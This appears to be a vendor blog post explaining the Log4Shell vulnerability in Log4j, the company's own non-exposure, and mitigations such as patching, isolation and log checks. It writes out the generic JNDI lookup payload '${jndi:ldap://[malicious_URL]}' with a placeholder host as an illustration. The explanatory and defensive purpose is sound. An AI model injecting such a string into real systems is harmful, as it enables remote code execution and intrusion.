Log4J Vulnerability Explained, Mitigations & Recommendations

The holiday season has been a nightmare for security experts all around the world. If you have any interest in cybersecurity you may have seen it. Warnings all across the web, teams scrambling to cover every flaw, IT engineers patching thousands of servers. And with good reason!

The vulnerability in Log4j has been dubbed by security researchers as "one of the most serious, if not the most serious” of their entire careers. It’s a simple, elegant vulnerability that has been exploited largely since its discovery and a threat to unpatched devices everywhere. Attackers have used it to install ransomware, to mine cryptocurrency, to install persistent threats in unsuspected servers.

In this piece, we will try to explain Log4j in as much plain English as possible, so you may understand the risks and the ways to mitigate them simply. For those worried if Prey may be vulnerable, we have a section about it as well (spoiler: we aren’t). This is a very technical vulnerability and we hope you can at least make some sense of it, especially to decide if this is something you should deal with in your organization.

What is Log4j?

First of all, we have to differentiate between Log4j, the tool; and Log4jShell, the vulnerability.

Log4j is a library for Java -a widely-used programming language- maintained by The Apache Software Foundation, which records or “logs” certain activities that happen in a Java program. These activities can be helpful in common processes, such as identifying bugs or errors. Therefore, Log4j is installed in almost every Java environment, and thousands of applications and websites use it.

On the other hand, although the vulnerability of Log4j has been dubbed “Log4jShell” officially, the media has been calling it “Log4j vulnerability”, or “Log4j flaw”.

Log4jShell was discovered by Chen Zhaojun, a member of the Alibaba Cloud Security Team. In his proof of concept -now deleted from Twitter- the cybersecurity expert performed Remote Code Execution (RCE) in the chat of the popular videogame Minecraft, to take control of the game server using a flaw in the aforementioned Log4j.

To summarize the vulnerability, Log4jShell allows an attacker to execute code on a vulnerable machine running Java, without having the privileges and permissions to do so, using only a single line of code that triggers known protocols maliciously, such as LDAP:

${jndi:ldap://[malicious_URL]}

That line contains a link to whenever the attacker pleases, usually a place in the web where the attacker stores more malicious code such as ransomware, tools to escalate privileges, or even automated crypto miners.

But the concerning part of this flaw isn’t just how simple it is, but how ubiquitous Log4j is in our web and application environments. Log4j is deeply entrenched in AWS, iCloud, Steam, and Tencent. It’s installed in hardware from Cisco and IBM, used by vendors like Cloudflare or ElasticSearch, even social media like Twitter and LinkedIn have been reported to have vulnerable web servers.

Ultimately, and based on all these factors, MITRE dubbed this vulnerability as “critical”, assigning it a score of 10/10.

If you’re on the technical side and looking for more resources, here’s a compiled list of Indicators Of Compromise (IOCs) by Curated Intelligence, an open list of IP addresses scanning for the vulnerability, and the security advisory from Apache with an updated list on the impact and fixes for the various versions of Log4j.

How Prey is affected

We know: a flaw with the scope of Log4jShell is concerning for everyone. Luckily, Prey does not use the Log4j library, as our product does not contain code in Java. Therefore, our core services, our client, and any of Prey’s capabilities aren’t affected by this vulnerability.

We are also aware that certain third-party vendors and service providers may have been vulnerable, so we deployed mitigations in due time to the extent of our capabilities. To this day, we haven’t received any disclosure of possible vulnerabilities from our third-party vendors.

Mitigations and general recommendations

Note: Log4jShell has been patched in version 2.16.0 of Log4j, and version 2.17.0 fixes a newly discovered Denial of Service attack associated with the flaw. If you haven’t done so, patch now.

Being a vulnerability so critical and potentially dangerous for critical infrastructure around the world, most third-party vendors who rely on Log4j had their products patched in the first 48 hours after the flaw was published. As with every effort to mitigate -and your IT guy may agree here- patching is the first and most important step to stop most attacks (and potentially disastrous consequences).

To orient security experts in the right direction, organizations and governments have posted general recommendations to mitigate exploitation attempts by hackers. The following guidelines may be useful in situations like this one.

• Visibility. Get an overview of systems and software that may be using Log4j in your environment. Not every Java-dependant machine is vulnerable, but sometimes an old machine, IoT device, or forgotten web service may be the cause for mayhem, so make sure you have at least visibility.
• Patching. Internet-facing machines, devices, and services should be patched and updated as soon as the patch/update is released. Internal software or devices shouldn’t have priority but must be patched nevertheless.
• Isolation. Sometimes patching isn’t available right away. Vulnerable devices and services connected/facing the internet should be isolated from it, and mitigation measures should be applied (such as removing the LDAP class from Log4j in versions 2.0 to 2.10.0). A guide to such mitigations can be found on the aforementioned Apache Login Services page.
• Check exploitation attempts and IOCs. Even if unsuccessful, hackers may have tried to access your services. Check your web server logs via the command line using tools like egrep and your perimeter logs for common indicators of compromise.

We hope that these general recommendations may reduce your chances of being breached, in a critical period where a huge amount of machines are combing the internet looking for open flaws.

If you have been a victim of this vulnerability, we encourage you to report it and add any information of the attack to the growing lists of information, IOCs, and attack methods on the web. We always hope the damage isn’t too serious.